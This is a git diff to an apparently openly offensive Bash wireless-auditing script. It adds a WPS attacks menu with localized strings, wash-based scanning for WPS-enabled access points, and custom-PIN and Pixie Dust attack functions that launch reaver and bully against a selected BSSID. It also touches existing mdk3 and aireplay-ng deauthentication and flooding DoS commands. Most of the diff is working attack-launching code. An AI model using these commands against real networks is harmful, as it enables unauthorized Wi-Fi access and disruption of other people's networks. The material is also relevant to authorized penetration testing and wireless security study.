+ arr["GREEK",369]="Για να κάνετε την επίθεση Pixie Dust με ενσωματωμένο reaver ή bully, θα πρέπει να έχετε εγκαταστημένη τουλάχιστον την έκδοση ${minimum_reaver_pixiewps_version} για reaver και ${minimum_bully_pixiewps_version} για bully"
+
+ arr["ENGLISH",370]="You have reaver installed (v${reaver_version}). You meet the version requirement to perform Pixie Dust integrated reaver attack (minimum version v${minimum_reaver_pixiewps_version}). Script can continue..."
+ arr["SPANISH",370]="Tienes reaver instalado (v${reaver_version}). Cumples con el requisito de versión para realizar el ataque Pixie Dust integrado con reaver (versión minima v${minimum_reaver_pixiewps_version}). El script puede continuar..."
+ arr["FRENCH",370]="${pending_of_translation} Vous reaver installé (v${reaver_version}). Vous répondez aux exigences de version pour le Pixie Dust intégré attaque reaver (version minimale v${minimum_reaver_pixiewps_version}). Le script peut continuer..."
+ arr["CATALAN",370]="${pending_of_translation} Tens reaver instal·lat (v${reaver_version}). Compleixes amb el requisit de versió per a realitzar l'atac Pixie Dust integrat amb reaver (versió mínima v${minimum_reaver_pixiewps_version}). El script pot continuar..."
+ arr["PORTUGUESE",370]="Você tem o reaver instalado (v${reaver_version}). Você cumpre a exigência de versão para o ataque Pixie Dust com reaver (versão mínima v${minimum_reaver_pixiewps_version}). O script pode continuar..."
+ arr["RUSSIAN",370]="У вас установлен reaver (v${reaver_version}). Версия удовлетворяет требованиям для выполнения интегрированной в reaver атаки Pixie Dust (минимальная версия v${minimum_reaver_pixiewps_version}). Скрипт может продолжить работу..."
+ arr["GREEK",370]="Έχετε εγκατεστημένο το reaver (v${reaver_version}). Έχετε την απαραίτητη έκδοση reaver (ελάχιστη έκδοση v${minimum_reaver_pixiewps_version}), για την επίθεση Pixie Dust με ενσωματωμένο reaver. Το script μπορεί να συνεχίσει..."
+
+ arr["ENGLISH",371]="You have reaver installed (v${reaver_version}), but not required version. To perform Pixie Dust integrated reaver attack you must have at least version v${minimum_reaver_pixiewps_version}"
+ arr["SPANISH",371]="Tienes reaver instalado (v${reaver_version}), aunque no la versión requerida. Para realizar el ataque Pixie Dust integrado con reaver has de tener al menos la versión v${minimum_reaver_pixiewps_version}"
+ arr["FRENCH",371]="${pending_of_translation} Vous reaver installé (v${reaver_version}), mais pas la version requise. Pour rendre l'attaque reaver intégrée Pixie Dust doit avoir au moins la version v${minimum_reaver_pixiewps_version}"
+ arr["CATALAN",371]="${pending_of_translation} Tens reaver instal·lat (v${reaver_version}), encara que no la versió requerida. Per realitzar l'atac Pixie Dust integrat amb reaver has de tenir almenys la versió v${minimum_reaver_pixiewps_version}"
+ arr["PORTUGUESE",371]="Você tem o reaver instalado (v${reaver_version}), mas não a versão necessária. Para fazer o ataque reaver integrado Pixie Dust tem que ter pelo menos a versão v${minimum_reaver_pixiewps_version}"
+ arr["RUSSIAN",371]="У вас установлен reaver (v${reaver_version}), но не та версия, которая требуется. Для выполнения интегрированной в reaver атаки Pixie Dust у вас должна быть по крайней мере v${minimum_reaver_pixiewps_version}"
+ arr["GREEK",371]="Έχετε εγκατεστημένο το reaver (v${reaver_version}), αλλά όχι την απαιτούμενη έκδοση. Για να κάνετε την επίθεση Pixie Dust με ενσωματωμένο reaver θα πρέπει να έχετε τουλάχιστον την έκδοση v${minimum_reaver_pixiewps_version}"
+
case "${3}" in
"yellow")
interrupt_checkpoint "${2}" "${3}"
@@ -3185,7 +3501,7 @@ function language_strings() {
esac
}
-#Set the message to show again after an interrupt (Ctrl+C or Crtl+Z) without exiting
+#Set the message to show again after an interrupt ([Ctrl+C] or [Ctrl+Z]) without exiting
function interrupt_checkpoint() {
if [ -z "${last_buffered_type1}" ]; then
@@ -3857,17 +4173,31 @@ function read_channel() {
echo
language_strings "${language}" 25 "green"
- read -r channel
+ if [ "${1}" = "wps" ]; then
+ read -r wps_channel
+ else
+ read -r channel
+ fi
}
#Validate the input on channel questions
function ask_channel() {
- while [[ ! ${channel} =~ ^([1-9]|1[0-4])$ ]]; do
- read_channel
- done
- echo
- language_strings "${language}" 26 "blue"
+ local regexp="^([1-9]|1[0-4])$"
+
+ if [ "${1}" = "wps" ]; then
+ while [[ ! ${wps_channel} =~ ${regexp} ]]; do
+ read_channel "wps"
+ done
+ echo
+ language_strings "${language}" 365 "blue"
+ else
+ while [[ ! ${channel} =~ ${regexp} ]]; do
+ read_channel
+ done
+ echo
+ language_strings "${language}" 26 "blue"
+ fi
}
#Read the user input on bssid questions
@@ -3875,17 +4205,31 @@ function read_bssid() {
echo
language_strings "${language}" 27 "green"
- read -r bssid
+ if [ "${1}" = "wps" ]; then
+ read -r wps_bssid
+ else
+ read -r bssid
+ fi
}
#Validate the input on bssid questions
function ask_bssid() {
- while [[ ! ${bssid} =~ ^([a-fA-F0-9]{2}:){5}[a-zA-Z0-9]{2}$ ]]; do
- read_bssid
- done
- echo
- language_strings "${language}" 28 "blue"
+ local regexp="^([a-fA-F0-9]{2}:){5}[a-zA-Z0-9]{2}$"
+
+ if [ "${1}" = "wps" ]; then
+ while [[ ! ${wps_bssid} =~ ${regexp} ]]; do
+ read_bssid "wps"
+ done
+ echo
+ language_strings "${language}" 364 "blue"
+ else
+ while [[ ! ${bssid} =~ ${regexp} ]]; do
+ read_bssid
+ done
+ echo
+ language_strings "${language}" 28 "blue"
+ fi
}
#Read the user input on essid questions
@@ -3913,6 +4257,83 @@ function ask_essid() {
language_strings "${language}" 31 "blue"
}
+#Read the user input on custom pin questions
+function read_custom_pin() {
+
+ echo
+ language_strings "${language}" 363 "green"
+ read -r custom_pin
+}
+
+#Validate the input on custom pin questions
+function ask_custom_pin() {
+
+ local regexp="^[0-9]{8}$"
+ custom_pin=""
+ while [[ ! ${custom_pin} =~ ${regexp} ]]; do
+ read_custom_pin
+ done
+
+ echo
+ language_strings "${language}" 362 "blue"
+}
+
+#Execute wps custom pin bully attack
+function exec_wps_custom_pin_bully_attack() {
+
+ echo
+ language_strings "${language}" 32 "green"
+
+ echo
+ language_strings "${language}" 33 "yellow"
+ language_strings "${language}" 366 "blue"
+ language_strings "${language}" 4 "read"
+ recalculate_windows_sizes
+ xterm -hold -bg black -fg red -geometry "${g2_stdleft_window}" -T "WPS custom pin bully attack" -e "bully ${interface} -b ${wps_bssid} -c ${wps_channel} -L --force -B -p ${custom_pin} -v ${bully_verbosity} && echo \"Close this window\"" > /dev/null 2>&1
+}
+
+#Execute wps custom pin reaver attack
+function exec_wps_custom_pin_reaver_attack() {
+
+ echo
+ language_strings "${language}" 32 "green"
+
+ echo
+ language_strings "${language}" 33 "yellow"
+ language_strings "${language}" 366 "blue"
+ language_strings "${language}" 4 "read"
+ recalculate_windows_sizes
+ xterm -hold -bg black -fg red -geometry "${g2_stdleft_window}" -T "WPS custom pin reaver attack" -e "reaver -i ${interface} -b ${wps_bssid} -c ${wps_channel} -L -f -n -p ${custom_pin} -vvv && echo \"Close this window\"" > /dev/null 2>&1
+}
+
+#Execute bully pixie dust attack
+function exec_bully_pixiewps_attack() {
+
+ echo
+ language_strings "${language}" 32 "green"
+
+ echo
+ language_strings "${language}" 33 "yellow"
+ language_strings "${language}" 366 "blue"
+ language_strings "${language}" 4 "read"
+ recalculate_windows_sizes
+ xterm -hold -bg black -fg red -geometry "${g2_stdright_window}" -T "WPS bully pixie dust attack" -e "bully ${interface} -b ${wps_bssid} -c ${wps_channel} -d -v ${bully_verbosity} && echo \"Close this window\"" > /dev/null 2>&1
+}
+
+#Execute reaver pixie dust attack
+function exec_reaver_pixiewps_attack() {
+
+ echo
+ language_strings "${language}" 32 "green"
+
+ echo
+ language_strings "${language}" 33 "yellow"
+ language_strings "${language}" 366 "blue"
+ language_strings "${language}" 4 "read"
+ recalculate_windows_sizes
+ xterm -hold -bg black -fg red -geometry "${g2_stdright_window}" -T "WPS reaver pixie dust attack" -e "reaver -i ${interface} -b ${wps_bssid} -c ${wps_channel} -K 1 -vvv && echo \"Close this window\"" > /dev/null 2>&1
+}
+
#Execute mdk3 deauth DoS attack
function exec_mdk3deauth() {
@@ -3925,7 +4346,7 @@ function exec_mdk3deauth() {
echo "${bssid}" > "${tmpdir}bl.txt"
echo
- language_strings "${language}" 33 "blue"
+ language_strings "${language}" 33 "yellow"
language_strings "${language}" 4 "read"
recalculate_windows_sizes
xterm +j -bg black -fg red -geometry "${g1_topleft_window}" -T "mdk3 amok attack" -e mdk3 "${interface}" d -b "${tmpdir}bl.txt" -c "${channel}" > /dev/null 2>&1
@@ -3941,7 +4362,7 @@ function exec_aireplaydeauth() {
${airmon} start "${interface}" "${channel}" > /dev/null 2>&1
echo
- language_strings "${language}" 33 "blue"
+ language_strings "${language}" 33 "yellow"
language_strings "${language}" 4 "read"
recalculate_windows_sizes
xterm +j -bg black -fg red -geometry "${g1_topleft_window}" -T "aireplay deauth attack" -e aireplay-ng --deauth 0 -a "${bssid}" --ignore-negative-one "${interface}" > /dev/null 2>&1
@@ -3955,7 +4376,7 @@ function exec_wdsconfusion() {
language_strings "${language}" 32 "green"
echo
- language_strings "${language}" 33 "blue"
+ language_strings "${language}" 33 "yellow"
language_strings "${language}" 4 "read"
recalculate_windows_sizes
xterm +j -bg black -fg red -geometry "${g1_topleft_window}" -T "wids / wips / wds confusion attack" -e mdk3 "${interface}" w -e "${essid}" -c "${channel}" > /dev/null 2>&1
@@ -3969,7 +4390,7 @@ function exec_beaconflood() {
language_strings "${language}" 32 "green"
echo
- language_strings "${language}" 33 "blue"
+ language_strings "${language}" 33 "yellow"
language_strings "${language}" 4 "read"
recalculate_windows_sizes
xterm +j -sb -rightbar -geometry "${g1_topleft_window}" -T "beacon flood attack" -e mdk3 "${interface}" b -n "${essid}" -c "${channel}" -s 1000 -h > /dev/null 2>&1
@@ -3983,7 +4404,7 @@ function exec_authdos() {
language_strings "${language}" 32 "green"
echo
- language_strings "${language}" 33 "blue"
+ language_strings "${language}" 33 "yellow"
language_strings "${language}" 4 "read"
recalculate_windows_sizes
xterm +j -sb -rightbar -geometry "${g1_topleft_window}" -T "auth dos attack" -e mdk3 "${interface}" a -a "${bssid}" -m -s 1024 > /dev/null 2>&1
@@ -3997,7 +4418,7 @@ function exec_michaelshutdown() {
language_strings "${language}" 32 "green"
echo
- language_strings "${language}" 33 "blue"
+ language_strings "${language}" 33 "yellow"
language_strings "${language}" 4 "read"
recalculate_windows_sizes
xterm +j -sb -rightbar -geometry "${g1_topleft_window}" -T "michael shutdown attack" -e mdk3 "${interface}" m -t "${bssid}" -w 1 -n 1024 -s 1024 > /dev/null 2>&1
@@ -4121,6 +4542,39 @@ function michael_shutdown_option() {
exec_michaelshutdown
}
+#Validate wps custom pin parameters
+function wps_custom_pin_parameters() {
+
+ check_monitor_enabled
+ if [ "$?" != "0" ]; then
+ return 1
+ fi
+
+ echo
+ language_strings "${language}" 34 "yellow"
+
+ ask_bssid "wps"
+ ask_channel "wps"
+ ask_custom_pin
+ return 0
+}
+
+#Validate pixie dust parameters
+function wps_pixie_dust_parameters() {
+
+ check_monitor_enabled
+ if [ "$?" != "0" ]; then
+ return 1
+ fi
+
+ echo
+ language_strings "${language}" 34 "yellow"
+
+ ask_bssid "wps"
+ ask_channel "wps"
+ return 0
+}
+
#Print selected interface
function print_iface_selected() {
@@ -4240,6 +4694,38 @@ function print_et_target_vars() {
fi
}
+#Print selected target parameters on wps attacks menu (bssid, channel and essid)
+function print_all_target_vars_wps() {
+
+ if [ -n "${wps_bssid}" ]; then
+ language_strings "${language}" 335 "blue"
+ else
+ language_strings "${language}" 339 "blue"
+ fi
+
+ if [ -n "${wps_channel}" ]; then
+ language_strings "${language}" 336 "blue"
+ else
+ language_strings "${language}" 340 "blue"
+ fi
+
+ if [ -n "${wps_essid}" ]; then
+ if [ "${wps_essid}" = "(Hidden Network)" ]; then
+ language_strings "${language}" 337 "blue"
+ else
+ language_strings "${language}" 338 "blue"
+ fi
+ else
+ language_strings "${language}" 341 "blue"
+ fi
+
+ if [ -n "${wps_locked}" ]; then
+ language_strings "${language}" 351 "blue"
+ else
+ language_strings "${language}" 352 "blue"
+ fi
+}
+
#Print selected target parameters on decrypt menu (bssid, Handshake file, dictionary file and rules file)
function print_decrypt_vars() {
@@ -4276,6 +4762,11 @@ function initialize_menu_options_dependencies() {
et_sniffing_dependencies=(${optional_tools_names[5]} ${optional_tools_names[6]} ${optional_tools_names[7]} ${optional_tools_names[8]} ${optional_tools_names[9]})
et_sniffing_sslstrip_dependencies=(${optional_tools_names[5]} ${optional_tools_names[6]} ${optional_tools_names[7]} ${optional_tools_names[8]} ${optional_tools_names[9]} ${optional_tools_names[10]})
et_captive_portal_dependencies=(${optional_tools_names[5]} ${optional_tools_names[6]} ${optional_tools_names[7]} ${optional_tools_names[11]})
+ wash_scan_dependencies=(${optional_tools_names[13]})
+ reaver_attacks_dependencies=(${optional_tools_names[14]})
+ bully_attacks_dependencies=(${optional_tools_names[15]})
+ bully_pixie_dust_attack_dependencies=(${optional_tools_names[15]} ${optional_tools_names[16]})
+ reaver_pixie_dust_attack_dependencies=(${optional_tools_names[14]} ${optional_tools_names[16]})
}
#Set some vars depending of the menu and invoke the printing of target vars
@@ -4325,6 +4816,10 @@ function initialize_menu_and_print_selections() {
print_et_target_vars
print_iface_internet_selected
;;
+ "wps_attacks_menu")
+ print_iface_selected
+ print_all_target_vars_wps
+ ;;
*)
print_iface_selected
print_all_target_vars
@@ -4351,6 +4846,7 @@ function clean_tmpfiles() {
if [ "${dhcpd_path_changed}" -eq 1 ]; then
rm -rf "${dhcp_path}" > /dev/null 2>&1
fi
+ rm -rf "${tmpdir}wps"* > /dev/null 2>&1
}
#Clean firewall rules and restore orginal routing state
@@ -4454,6 +4950,13 @@ function print_hint() {
randomhint=$(shuf -i 0-"${hintlength}" -n 1)
strtoprint=${hints[evil_twin_dos_hints|${randomhint}]}
;;
+ "wps_attacks_menu")
+ store_array hints wps_hints "${wps_hints[@]}"
+ hintlength=${#wps_hints[@]}
+ ((hintlength--))
+ randomhint=$(shuf -i 0-"${hintlength}" -n 1)
+ strtoprint=${hints[wps_hints|${randomhint}]}
+ ;;
esac
print_simple_separator
@@ -4479,6 +4982,7 @@ function main_menu() {
language_strings "${language}" 119
language_strings "${language}" 169
language_strings "${language}" 252
+ language_strings "${language}" 333
print_simple_separator
language_strings "${language}" 60
language_strings "${language}" 78
@@ -4509,12 +5013,15 @@ function main_menu() {
evil_twin_attacks_menu
;;
8)
- credits_option
+ wps_attacks_menu
;;
9)
- language_menu
+ credits_option
;;
10)
+ language_menu
+ ;;
+ 11)
exit_script_option
;;
*)
@@ -4646,6 +5153,165 @@ function evil_twin_attacks_menu() {
evil_twin_attacks_menu
}
+#WPS attacks menu
+function wps_attacks_menu() {
+
+ clear
+ language_strings "${language}" 334 "title"
+ current_menu="wps_attacks_menu"
+ initialize_menu_and_print_selections
+ echo
+ language_strings "${language}" 47 "green"
+ print_simple_separator
+ language_strings "${language}" 48
+ language_strings "${language}" 55
+ language_strings "${language}" 56
+ language_strings "${language}" 49 wash_scan_dependencies[@]
+ language_strings "${language}" 50 "separator"
+ language_strings "${language}" 345 bully_attacks_dependencies[@]
+ language_strings "${language}" 357 reaver_attacks_dependencies[@]
+ language_strings "${language}" 346 bully_pixie_dust_attack_dependencies[@]
+ language_strings "${language}" 358 reaver_pixie_dust_attack_dependencies[@]
+ language_strings "${language}" 347 "under_construction" #bully_attacks_dependencies[@]
+ language_strings "${language}" 359 "under_construction" #reaver_attacks_dependencies[@]
+ language_strings "${language}" 348 "under_construction" #bully_attacks_dependencies[@]
+ language_strings "${language}" 360 "under_construction" #reaver_attacks_dependencies[@]
+ print_simple_separator
+ language_strings "${language}" 361
+ print_hint ${current_menu}
+
+ read -r wps_option
+ case ${wps_option} in
+ 1)
+ select_interface
+ ;;
+ 2)
+ monitor_option
+ ;;
+ 3)
+ managed_option
+ ;;
+ 4)
+ contains_element "${wps_option}" "${forbidden_options[@]}"
+ if [ "$?" = "0" ]; then
+ forbidden_menu_option
+ else
+ get_reaver_version
+ explore_for_wps_targets_option
+ fi
+ ;;
+ 5)
+ contains_element "${wps_option}" "${forbidden_options[@]}"
+ if [ "$?" = "0" ]; then
+ forbidden_menu_option
+ else
+ get_bully_version
+ set_bully_verbosity
+ wps_custom_pin_parameters
+ if [ "$?" = "0" ]; then
+ exec_wps_custom_pin_bully_attack
+ fi
+ fi
+ ;;
+ 6)
+ contains_element "${wps_option}" "${forbidden_options[@]}"
+ if [ "$?" = "0" ]; then
+ forbidden_menu_option
+ else
+ wps_custom_pin_parameters
+ if [ "$?" = "0" ]; then
+ exec_wps_custom_pin_reaver_attack
+ fi
+ fi
+ ;;
+ 7)
+ contains_element "${wps_option}" "${forbidden_options[@]}"
+ if [ "$?" = "0" ]; then
+ forbidden_menu_option
+ else
+ get_bully_version
+ set_bully_verbosity
+ validate_bully_pixiewps_version
+ if [ "$?" = "0" ]; then
+ echo
+ language_strings "${language}" 368 "yellow"
+ language_strings "${language}" 115 "read"
+ wps_pixie_dust_parameters
+ if [ "$?" = "0" ]; then
+ exec_bully_pixiewps_attack
+ fi
+ else
+ echo
+ language_strings "${language}" 367 "yellow"
+ language_strings "${language}" 115 "read"
+ fi
+ fi
+ ;;
+ 8)
+ contains_element "${wps_option}" "${forbidden_options[@]}"
+ if [ "$?" = "0" ]; then
+ forbidden_menu_option
+ else
+ get_reaver_version
+ validate_reaver_pixiewps_version
+ if [ "$?" = "0" ]; then
+ echo
+ language_strings "${language}" 370 "yellow"
+ language_strings "${language}" 115 "read"
+ wps_pixie_dust_parameters
+ if [ "$?" = "0" ]; then
+ exec_reaver_pixiewps_attack
+ fi
+ else
+ echo
+ language_strings "${language}" 371 "yellow"
+ language_strings "${language}" 115 "read"
+ fi
+ fi
+ ;;
+ 9)
+ contains_element "${wps_option}" "${forbidden_options[@]}"
+ if [ "$?" = "0" ]; then
+ forbidden_menu_option
+ else
+ under_construction_message
+ fi
+ ;;
+ 10)
+ contains_element "${wps_option}" "${forbidden_options[@]}"
+ if [ "$?" = "0" ]; then
+ forbidden_menu_option
+ else
+ under_construction_message
+ fi
+ ;;
+ 11)
+ contains_element "${wps_option}" "${forbidden_options[@]}"
+ if [ "$?" = "0" ]; then
+ forbidden_menu_option
+ else
+ under_construction_message
+ fi
+ ;;
+ 12)
+ contains_element "${wps_option}" "${forbidden_options[@]}"
+ if [ "$?" = "0" ]; then
+ forbidden_menu_option
+ else
+ under_construction_message
+ fi
+ ;;
+ 13)
+ return
+ ;;
+ *)
+ invalid_menu_option
+ ;;
+ esac
+
+ wps_attacks_menu
+}
+
#Offline decryption attacks menu
function decrypt_menu() {
@@ -6924,6 +7590,167 @@ function explore_for_targets_option() {
select_target
}
+#Manage target exploration only for Access Points with WPS activated. Parse output files and print menu with results
+function explore_for_wps_targets_option() {
+
+ echo
+ language_strings "${language}" 103 "title"
+ language_strings "${language}" 65 "green"
+
+ check_monitor_enabled
+ if [ "$?" != "0" ]; then
+ return 1
+ fi
+
+ echo
+ language_strings "${language}" 66 "yellow"
+ echo
+ if ! grep -qe "${interface}" <(echo "${!wash_ifaces_already_set[@]}"); then
+ language_strings "${language}" 353 "blue"
+ set_wash_parametrization
+ language_strings "${language}" 354 "yellow"
+ else
+ language_strings "${language}" 355 "blue"
+ fi
+ echo
+ language_strings "${language}" 67 "yellow"
+ language_strings "${language}" 115 "read"
+
+ tmpfiles_toclean=1
+ rm -rf "${tmpdir}wps"* > /dev/null 2>&1
+ recalculate_windows_sizes
+ xterm +j -bg black -fg white -geometry "${g1_topright_window}" -T "Exploring for WPS targets" -e "wash -i \"${interface}\" ${wash_ifaces_already_set[${interface}]} | tee \"${tmpdir}wps.txt\"" > /dev/null 2>&1
+
+ if compare_floats_greater_or_equal "${reaver_version}" "${minimum_reaver_wash_large_version}"; then
+ wash_start_data_line=7
+ else
+ wash_start_data_line=2
+ fi
+
+ washlines=$(wc -l "${tmpdir}wps.txt" 2> /dev/null | awk '{print $1}')
+ if [ "${washlines}" -le ${wash_start_data_line} ]; then
+ echo
+ language_strings "${language}" 68 "yellow"
+ language_strings "${language}" 115 "read"
+ return 1
+ fi
+
+ clear
+ language_strings "${language}" 104 "title"
+ echo
+ language_strings "${language}" 349 "green"
+ print_large_separator
+
+ i=0
+ wash_counter=0
+ declare -A wps_lockeds
+ wps_lockeds[${wash_counter}]="No"
+ while IFS=, read -r expwps_line; do
+
+ i=$((i+1))
+
+ if [ ${i} -le ${wash_start_data_line} ]; then
+ continue
+ else
+ wash_counter=$((wash_counter+1))
+
+ if [ ${wash_counter} -le 9 ]; then
+ wpssp1=" "
+ else
+ wpssp1=""
+ fi
+
+ expwps_bssid=$(echo "${expwps_line}" | awk '{print $1}')
+ expwps_channel=$(echo "${expwps_line}" | awk '{print $2}')
+ expwps_power=$(echo "${expwps_line}" | awk '{print $3}')
+ expwps_locked=$(echo "${expwps_line}" | awk '{print $5}')
+ expwps_essid=$(echo "${expwps_line}" | awk '{$1=$2=$3=$4=$5=""; print $0}' | sed -e 's/^[ \t]*//')
+
+ if [[ ${expwps_channel} -le 9 ]]; then
+ wpssp2=" "
+ if [[ ${expwps_channel} -eq 0 ]]; then
+ expwps_channel="-"
+ fi
+ else
+ wpssp2=""
+ fi
+
+ if [[ "${expwps_power}" = "" ]] || [[ "${expwps_power}" = "-00" ]]; then
+ expwps_power=0
+ fi
+
+ if [[ ${expwps_power} =~ ^-0 ]]; then
+ expwps_power=${expwps_power//0/}
+ fi
+
+ if [[ ${expwps_power} -lt 0 ]]; then
+ if [[ ${expwps_power} -eq -1 ]]; then
+ exp_power=0
+ else
+ expwps_power=$((expwps_power + 100))
+ fi
+ fi
+
+ if [[ ${expwps_power} -le 9 ]]; then
+ wpssp4=" "
+ else
+ wpssp4=""
+ fi
+
+ if [ "${expwps_locked}" = "Yes" ]; then
+ wpssp3=""
+ else
+ wpssp3=" "
+ fi
+
+ wps_network_names[$wash_counter]=${expwps_essid}
+ wps_channels[$wash_counter]=${expwps_channel}
+ wps_macs[$wash_counter]=${expwps_bssid}
+ wps_lockeds[$wash_counter]=${expwps_locked}
+ echo -e " ${wpssp1}${wash_counter}) ${expwps_bssid} ${wpssp2}${expwps_channel} ${wpssp4}${expwps_power}% ${expwps_locked}${wpssp3} ${expwps_essid}"
+ fi
+ done < "${tmpdir}wps.txt"
+
+ echo
+ if [ ${wash_counter} -eq 1 ]; then
+ language_strings "${language}" 70 "yellow"
+ selected_wps_target_network=1
+ language_strings "${language}" 115 "read"
+ else
+ print_large_separator
+ language_strings "${language}" 3 "green"
+ read -r selected_wps_target_network
+ fi
+
+ while [[ ${selected_wps_target_network} -lt 1 ]] || [[ ${selected_wps_target_network} -gt ${wash_counter} ]] || [[ ${wps_lockeds[${selected_wps_target_network}]} = "Yes" ]]; do
+
+ if [[ ${selected_wps_target_network} -ge 1 ]] && [[ ${selected_wps_target_network} -le ${wash_counter} ]]; then
+ if [ "${wps_lockeds[${selected_wps_target_network}]}" = "Yes" ]; then
+ ask_yesno 350
+ if [ ${yesno} = "y" ]; then
+ break
+ else
+ echo
+ language_strings "${language}" 3 "green"
+ read -r selected_wps_target_network
+ continue
+ fi
+ fi
+ fi
+
+ echo
+ language_strings "${language}" 72 "yellow"
+ echo
+ language_strings "${language}" 3 "green"
+ read -r selected_wps_target_network
+ done
+
+ wps_essid=${wps_network_names[${selected_wps_target_network}]}
+ wps_channel=${wps_channels[${selected_wps_target_network}]}
+ wps_bssid=${wps_macs[${selected_wps_target_network}]}
+ wps_locked=${wps_lockeds[${selected_wps_target_network}]}
+}
+
#Create a menu to select target from the parsed data
function select_target() {
@@ -7012,6 +7839,23 @@ function select_target() {
enc=${encs[${selected_target_network}]}
}
+#Perform a test to determine if fcs parameter is needed on wash scanning
+function set_wash_parametrization() {
+
+ fcs=""
+ declare -gA wash_ifaces_already_set
+ readarray -t WASH_OUTPUT < <(timeout 1 wash -i "${interface}" 2> /dev/null)
+
+ for item in "${WASH_OUTPUT[@]}"; do
+ if [[ ${item} =~ ^\[\!\].*bad[[:space:]]FCS ]]; then
+ fcs="-C"
+ break
+ fi
+ done
+
+ wash_ifaces_already_set[${interface}]=${fcs}
+}
+
#Manage and validate the prerequisites for Evil Twin attacks
function et_prerequisites() {
@@ -7574,6 +8418,51 @@ function iwconfig_fix() {
fi
}
+#Determine bully version
+function get_bully_version() {
+
+ bully_version=$(bully -V 2> /dev/null)
+ bully_version=${bully_version:1:${#bully_version}}
+}
+
+#Determine reaver version
+function get_reaver_version() {
+
+ reaver_version=$(reaver -h 2>&1 > /dev/null | egrep "^Reaver v[0-9]" | awk '{print $2}')
+ if [ -z "${reaver_version}" ]; then
+ reaver_version=$(reaver -h 2> /dev/null | egrep "^Reaver v[0-9]" | awk '{print $2}')
+ fi
+ reaver_version=${reaver_version:1:${#reaver_version}}
+}
+
+#Set verbosity for bully based on version
+function set_bully_verbosity() {
+
+ if compare_floats_greater_or_equal "${bully_version}" "${minimum_bully_verbosity4_version}"; then
+ bully_verbosity="4"
+ else
+ bully_verbosity="3"
+ fi
+}
+
+#Validate if bully version is able to perform integrated pixiewps attack
+function validate_bully_pixiewps_version() {
+
+ if compare_floats_greater_or_equal "${bully_version}" "${minimum_bully_pixiewps_version}"; then
+ return 0
+ fi
+ return 1
+}
+
+#Validate if reaver version is able to perform integrated pixiewps attack
+function validate_reaver_pixiewps_version() {
+
+ if compare_floats_greater_or_equal "${reaver_version}" "${minimum_reaver_pixiewps_version}"; then
+ return 0
+ fi
+ return 1
+}
+
#Check for possible non Linux operating systems
function non_linux_os_check() {
@@ -8357,8 +9246,6 @@ function autodetect_language() {
#Clean some known warnings for shellcheck tool
function remove_warnings() {
- echo "${g2_stdleft_window}" > /dev/null 2>&1
- echo "${g2_stdright_window}" > /dev/null 2>&1
echo "${clean_handshake_dependencies[@]}" > /dev/null 2>&1
echo "${aircrack_attacks_dependencies[@]}" > /dev/null 2>&1
echo "${aireplay_attack_dependencies[@]}" > /dev/null 2>&1
@@ -8368,6 +9255,11 @@ function remove_warnings() {
echo "${et_sniffing_dependencies[@]}" > /dev/null 2>&1
echo "${et_sniffing_sslstrip_dependencies[@]}" > /dev/null 2>&1
echo "${et_captive_portal_dependencies[@]}" > /dev/null 2>&1
+ echo "${wash_scan_dependencies[@]}" > /dev/null 2>&1
+ echo "${bully_attacks_dependencies[@]}" > /dev/null 2>&1
+ echo "${reaver_attacks_dependencies[@]}" > /dev/null 2>&1
+ echo "${bully_pixie_dust_attack_dependencies[@]}" > /dev/null 2>&1
+ echo "${reaver_pixie_dust_attack_dependencies[@]}" > /dev/null 2>&1
}
#Print a simple separator
diff --git a/changelog.txt b/changelog.txt
index 6b0649580..223448bfd 100644
--- a/changelog.txt
+++ b/changelog.txt
@@ -1,3 +1,10 @@
+5.0
+WPS attacks menu added
+WPS scanning based on wash tool. Self-parametrization to avoid "Bad FCS" problem
+WPS Custom pin association
+WPS Pixie Dust attacks integrated with reaver and bully
+Some code improvements
+
4.32
Some code improvements and refactors. Warnings removed based on shellcheck tool
README.md small modifications